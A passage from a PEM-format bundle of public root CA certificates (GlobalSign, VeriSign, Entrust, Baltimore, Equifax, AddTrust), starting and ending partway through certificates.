aWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6 ErPLv4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8eoLrvozp s6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklqtTleiDTsvHgMCJiEbKjN S7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzdC9XZzPnqJworc5HGnRusyMvo4KD0L5CL TfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pazq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6C ygPCm48CAwEAAaOBnDCBmTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E FgQUm+IHV2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjAN BgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4GsJ0/WwbgcQ3izDJr86iw8bmEbTUsp 9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu 01yiPqFbQfXf5WRDLenVOavSot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG7 9G+dwfCMNYxdAfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7 TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg== -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAMu6nFL8eB8aHm8bN3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1 EUGO+i2tKmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGukxUc cLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBmCC+Vk7+qRy+oRpfw EuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJXwzw3sJ2zq/3avL6QaaiMxTJ5Xpj 055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWuimi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA ERSWwauSCPc/L8my/uRan2Te2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5f j267Cz3qWhMeDGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC /Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565pF4ErWjfJXir0 xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGtTxzhT5yvDwyd93gN2PQ1VoDa t20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ== -----END CERTIFICATE----- Verisign Class 4 Public Primary Certification Authority - G3 ============================================================ -----BEGIN CERTIFICATE----- MIIEGjCCAwICEQDsoKeLbnVqAc/EfMwvlF7XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDQgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDQgUHVibGljIFByaW1hcnkg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAK3LpRFpxlmr8Y+1GQ9Wzsy1HyDkniYlS+BzZYlZ3tCD5PUPtbut8XzoIfzk6AzufEUiGXaS tBO3IFsJ+mGuqPKljYXCKtbeZjbSmwL0qJJgfJxptI8kHtCGUvYynEFYHiK9zUVilQhu0GbdU6LM 8BDcVHOLBKFGMzNcF0C5nk3T875Vg+ixiY5afJqWIpA7iCXy0lOIAgwLePLmNxdLMEYH5IBtptiW Lugs+BGzOA1mppvqySNb247i8xOOGlktqgLw7KSHZtzBP/XYufTsgsbSPZUd5cBPhMnZo0QoBmrX Razwa2rvTl/4EYIeOGM0ZlDUPpNz+jDDZq3/ky2X7wMCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA j/ola09b5KROJ1WrIhVZPMq1CtRK26vdoV9TxaBXOcLORyu+OshWv8LZJxA6sQU8wHcxuzrTBXtt mhwwjIDLk5Mqg6sFUYICABFna/OIYUdfA5PVWw3g8dShMjWFsjrbsIKr0csKvE+MW8VLADsfKoKm fjaF3H48ZwC15DtS4KjrXRX5xm3wrR0OhbepmnMUWluPQSjA1egtTaRezarZ7c7c2NU8Qh0XwRJd RTjDOPP8hS6DRkiy1yBfkjaP53kPmF6Z6PDQpLv1U70qzlmwr25/bLvSHgCwIe34QWKCudiyxLtG UPMxxY8BqHTr9Xgn2uf3ZkPznoM+IKrDNWCRzg== -----END CERTIFICATE----- Entrust.net Premium 2048 Secure Server CA ========================================= -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChMLRW50cnVzdC5u ZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBpbmNvcnAuIGJ5IHJlZi4gKGxp bWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNV BAMTKkVudHJ1c3QubmV0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQx NzUwNTFaFw0yOTA3MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3 d3d3LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTEl MCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEGA1UEAxMqRW50cnVzdC5u ZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgpMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEArU1LqRKGsuqjIAcVFmQqK0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOL Gp18EzoOH1u3Hs/lJBQesYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSr hRSGlVuXMlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVTXTzW nLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/HoZdenoVve8AjhUi VBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH4QIDAQABo0IwQDAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJ KoZIhvcNAQEFBQADggEBADubj1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPy T/4xmf3IDExoU8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5bu/8j72gZyxKT J1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+bYQLCIt+jerXmCHG8+c8eS9e nNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/ErfF6adulZkMV8gzURZVE= -----END CERTIFICATE----- Baltimore CyberTrust Root ========================= -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UE ChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3li ZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoXDTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMC SUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFs dGltb3JlIEN5YmVyVHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKME uyKrmD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjrIZ3AQSsB UnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeKmpYcqWe4PwzV9/lSEy/C G9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSuXmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9 XbIGevOF6uvUA65ehD5f/xXtabz5OTZydc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjpr l3RjM71oGDHweI12v/yejl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoI VDaGezq1BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEB BQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT929hkTI7gQCvlYpNRh cL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3WgxjkzSswF07r51XgdIGn9w/xZchMB5 hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsa Y71k5h+3zvDyny67G7fyUIhzksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9H RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp -----END CERTIFICATE----- Equifax Secure Global eBusiness CA ================================== -----BEGIN CERTIFICATE----- MIICkDCCAfmgAwIBAgIBATANBgkqhkiG9w0BAQQFADBaMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT RXF1aWZheCBTZWN1cmUgSW5jLjEtMCsGA1UEAxMkRXF1aWZheCBTZWN1cmUgR2xvYmFsIGVCdXNp bmVzcyBDQS0xMB4XDTk5MDYyMTA0MDAwMFoXDTIwMDYyMTA0MDAwMFowWjELMAkGA1UEBhMCVVMx HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xLTArBgNVBAMTJEVxdWlmYXggU2VjdXJlIEds b2JhbCBlQnVzaW5lc3MgQ0EtMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAuucXkAJlsTRV PEnCUdXfp9E3j9HngXNBUmCbnaEXJnitx7HoJpQytd4zjTov2/KaelpzmKNc6fuKcxtc58O/gGzN qfTWK8D3+ZmqY6KxRwIP1ORROhI8bIpaVIRw28HFkM9yRcuoWcDNM50/o5brhTMhHD4ePmBudpxn hcXIw2ECAwEAAaNmMGQwEQYJYIZIAYb4QgEBBAQDAgAHMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j BBgwFoAUvqigdHJQa0S3ySPY+6j/s1draGwwHQYDVR0OBBYEFL6ooHRyUGtEt8kj2Puo/7NXa2hs MA0GCSqGSIb3DQEBBAUAA4GBADDiAVGqx+pf2rnQZQ8w1j7aDRRJbpGTJxQx78T3LUX47Me/okEN I7SS+RkAZ70Br83gcfxaz2TE4JaY0KNA4gGK7ycH8WUBikQtBmV1UsCGECAhX2xrD2yuCRyv8qIY NMR1pHMc8Y3c7635s3a0kr/clRAevsvIO1qEYBlWlKlV -----END CERTIFICATE----- Equifax Secure eBusiness CA 1 ============================= -----BEGIN CERTIFICATE----- MIICgjCCAeugAwIBAgIBBDANBgkqhkiG9w0BAQQFADBTMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT RXF1aWZheCBTZWN1cmUgSW5jLjEmMCQGA1UEAxMdRXF1aWZheCBTZWN1cmUgZUJ1c2luZXNzIENB LTEwHhcNOTkwNjIxMDQwMDAwWhcNMjAwNjIxMDQwMDAwWjBTMQswCQYDVQQGEwJVUzEcMBoGA1UE ChMTRXF1aWZheCBTZWN1cmUgSW5jLjEmMCQGA1UEAxMdRXF1aWZheCBTZWN1cmUgZUJ1c2luZXNz IENBLTEwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM4vGbwXt3fek6lfWg0XTzQaDJj0ItlZ 1MRoRvC0NcWFAyDGr0WlIVFFQesWWDYyb+JQYmT5/VGcqiTZ9J2DKocKIdMSODRsjQBuWqDZQu4a IZX5UkxVWsUPOE9G+m34LjXWHXzr4vCwdYDIqROsvojvOm6rXyo4YgKwEnv+j6YDAgMBAAGjZjBk MBEGCWCGSAGG+EIBAQQEAwIABzAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEp4MlIR21kW Nl7fwRQ2QGpHfEyhMB0GA1UdDgQWBBRKeDJSEdtZFjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQF AAOBgQB1W6ibAxHm6VZMzfmpTMANmvPMZWnmJXbMWbfWVMMdzZmsGd20hdXgPfxiIKeES1hl8eL5 lSE/9dR+WB5Hh1Q+WKG1tfgq73HnvMP2sUlG4tega+VWeponmHxGYhTnyfxuAxJ5gDgdSIKN/Bf+ KpYrtWKmpj29f5JZzVoqgrI3eQ== -----END CERTIFICATE----- AddTrust Low-Value Services Root ================================ -----BEGIN CERTIFICATE----- MIIEGDCCAwCgAwIBAgIBATANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEwHwYDVQQDExhBZGRU cnVzdCBDbGFzcyAxIENBIFJvb3QwHhcNMDAwNTMwMTAzODMxWhcNMjAwNTMwMTAzODMxWjBlMQsw CQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBO ZXR3b3JrMSEwHwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3QwggEiMA0GCSqGSIb3DQEB AQUAA4IBDwAwggEKAoIBAQCWltQhSWDia+hBBwzexODcEyPNwTXH+9ZOEQpnXvUGW2ulCDtbKRY6 54eyNAbFvAWlA3yCyykQruGIgb3WntP+LVbBFc7jJp0VLhD7Bo8wBN6ntGO0/7Gcrjyvd7ZWxbWr oulpOj0OM3kyP3CCkplhbY0wCI9xP6ZIVxn4JdxLZlyldI+Yrsj5wAYi56xz36Uu+1LcsRVlIPo1 Zmne3yzxbrww2ywkEtvrNTVokMsAsJchPXQhI2U0K7t4WaPW4XY5mqRJjox0r26kmqPZm9I4XJui GMx1I4S+6+JNM3GOGvDC+Mcdoq0Dlyz4zyXG9rgkMbFjXZJ/Y/AlyVMuH79NAgMBAAGjgdIwgc8w HQYDVR0OBBYEFJWxtPCUtr3H2tERCSG+wa9J/RB7MAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTAD AQH/MIGPBgNVHSMEgYcwgYSAFJWxtPCUtr3H2tERCSG+wa9J/RB7oWmkZzBlMQswCQYDVQQGEwJT RTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEw HwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBACxt ZBsfzQ3duQH6lmM0MkhHma6X7f1yFqZzR1r0693p9db7RcwpiURdv0Y5PejuvE1Uhh4dbOMXJ0Ph iVYrqW9yTkkz43J8KiOavD7/KCrto/8cI7pDVwlnTUtiBi34/2ydYB7YHEt9tTEv2dB8Xfjea4MY eDdXL+gzB2ffHsdrKpV2ro9Xo/D0UrSpUwjP4E/TelOL/bscVjby/rK25Xa71SJlpz/+0WatC7xr mYbvP33zGDLKe8bjq2RGlfgmadlVg3sslgf/WSxEo8bl6ancoWOAWiFeIc9TVPC6b4nbqKqVz4vj ccweGyBECMB6tkD9xOQ14R0WHNC8K47Wcdk= -----END CERTIFICATE----- AddTrust External Root ====================== -----BEGIN CERTIFICATE----- MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYD VQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEw NDgzOFowbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRU cnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0Eg Um9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821 +iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq/NzgtHj6RQa1wVsfw Tz/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmo aSYYkKtMsE8jqzpPhNjfzp/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN/cALw3CknLa0Dhy 2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0p10a3CitlttNCbxWyuHv7 7+ldU9U0WicCAwEAAaOB3DCB2TAdBgNVHQ4EFgQUrb2YejS0Jvf6xCZU7wO94CTLVBowCwYDVR0P BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wgZkGA1UdIwSBkTCBjoAUrb2YejS0Jvf6xCZU7wO94CTL VBqhc6RxMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRk VHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENB IFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBALCb4IUlwtYj4g+WBpKdQZic2YR5gdkeWxQHIzZl j7DYd7usQWxHYINRsPkyPef89iYTx4AWpb9a/IfPeHmJIZriTAcKhjW88t5RxNKWt9x+Tu5w/Rw5 6wwCURQtjr0W4MHfRnXnJK3s9EK0hZNwEGe6nQY1ShjTK3rMUUKhemPR5ruhxSvCNr4TDea9Y355 e6cJDUCrat2PisP29owaQgVR1EX1n6diIWgVIEM8med8vSTYqZEXc4g/VhsxOBi0cQ+azcgOno4u G+GMmIPLHzHxREzGBHNJdmAPx/i9F4BrLunMTA5amnkPIAou1Z5jJh5VkpTYghdae9C8x49OhgQ= -----END CERTIFICATE----- AddTrust Public Services Root ============================= -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIBATANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSAwHgYDVQQDExdBZGRU cnVzdCBQdWJsaWMgQ0EgUm9vdDAeFw0wMDA1MzAxMDQxNTBaFw0yMDA1MzAxMDQxNTBaMGQxCzAJ BgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQIE5l dHdvcmsxIDAeBgNVBAMTF0FkZFRydXN0IFB1YmxpYyBDQSBSb290MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA6Rowj4OIFMEg2Dybjxt+A3S72mnTRqX4jsIMEZBRpS9mVEBV6tsfSlbu nyNu9DnLoblv8n75XYcmYZ4c+OLspoH4IcUkzBEMP9smcnrHAZcHF/nXGCwwfQ56HmIexkvA/X1i d9NEHif2P0tEs7c42TkfYNVRknMDtABp4/MUTu7R3AnPdzRGULD4EfL+OHn3Bzn+UZKXC1sIXzSG Aa2Il+tmzV7R/9x98oTaunet3IAIx6eH1lWfl2royBFkuucZKT8Rs3iQhCBSWxHveNCD9tVIkNAw HM+A+WD+eeSI8t0A65RF62WUaUC6wNW0uLp9BBGo6zEFlpROWCGOn9Bg/QIDAQABo4HRMIHOMB0G A1UdDgQWBBSBPjfYkrAfd59ctKtzquf2NGAv+jALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBjgYDVR0jBIGGMIGDgBSBPjfYkrAfd59ctKtzquf2NGAv+qFopGYwZDELMAkGA1UEBhMCU0Ux FDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29yazEgMB4G A1UEAxMXQWRkVHJ1c3QgUHVibGljIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBAAP3FUr4 JNojVhaTdt02KLmuG7jD8WS6IBh4lSknVwW8fCr0uVFV2ocC3g8WFzH4qnkuCRO7r7IgGRLlk/lL +YPoRNWyQSW/iHVv/xD8SlTQX/D67zZzfRs2RcYhbbQVuE7PnFylPVoAjgbjPGsye/Kf8Lb93/Ao GEjwxrzQvzSAlsJKsW2Ox5BF3i9nrEUEo3rcVZLJR2bYGozH7ZxOmuASu7VqTITh4SINhwBk/ox9 Yjllpu9CtoAlEmEBqCQTcAARJl/6NVDFSMwGR+gn2HCNX2TmoUQmXiLsks3/QppEIW1cxeMiHV9H EufOX1362KqxMy3ZdvJOOjMMK7MtkAY= -----END CERTIFICATE----- AddTrust Qualified Certificates Root ==================================== -----BEGIN CERTIFICATE----- MIIEHjCCAwagAwIBAgIBATANBgkqhkiG9w0BAQUFADBnMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSMwIQYDVQQDExpBZGRU cnVzdCBRdWFsaWZpZWQgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ0NTBaFw0yMDA1MzAxMDQ0NTBaMGcx CzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQ IE5ldHdvcmsxIzAhBgNVBAMTGkFkZFRydXN0IFF1YWxpZmllZCBDQSBSb290MIIBIjANBgkqhkiG 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5B6a/twJWoekn0e+EV+vhDTbYjx5eLfpMLXsDBwqxBb/4Oxx 64r1EW7tTw2R0hIYLUkVAcKkIhPHEWT/IhKauY5cLwjPcWqzZwFZ8V1G87B4pfYOQnrjfxvM0PC3 KP0q6p6zsLkEqv32x7SxuCqg+1jxGaBvcCV+PmlKfw8i2O+tCBGaKZnhqkRFmhJePp1tUvznoD1o L/BLcHwTOK28FSXx1s6rosAx1i+f4P8UWfyEk9mHfExUE+uf0S0R+Bg6Ot4l2ffTQO2kBhLEO+GR wVY18BTcZTYJbqukB8c10cIDMzZbdSZtQvESa0NvS3GU+jQd7RNuyoB/mC9suWXY6QIDAQABo4HU MIHRMB0GA1UdDgQWBBQ5lYtii1zJ1IC6WA+XPxUIQ8yYpzALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zCBkQYDVR0jBIGJMIGGgBQ5lYtii1zJ1IC6WA+XPxUIQ8yYp6FrpGkwZzELMAkGA1UE BhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29y azEjMCEGA1UEAxMaQWRkVHJ1c3QgUXVhbGlmaWVkIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQAD ggEBABmrder4i2VhlRO6aQTvhsoToMeqT2QbPxj2qC0sVY8FtzDqQmodwCVRLae/DLPt7wh/bDxG GuoYQ992zPlmhpwsaPXpF/gxsxjE1kh9I0xowX67ARRvxdlu3rsEQmr49lx95dr6h+sNNVJn0J6X dgWTP5XHAeZpVTh/EGGZyeNfpso+gmNIquIISD6q8rKFYqa0p9m9N5xotS1WfbC3P6CxB9bpT9ze RXEwMn8bLgn5v1Kh7sKAPgZcLlVAwRv1cEWw3F369nJad9Jjzc9YiQBCYz95OdBEsIJuQRno3eDB iFrRHnGTHyQwdOUeqN48Jzd/g66ed8/wMLH/S5noxqE= -----END CERTIFICATE----- Entrust Root Certification Authority ==================================== -----BEGIN CERTIFICATE----- MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0 MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68 j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1 MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH 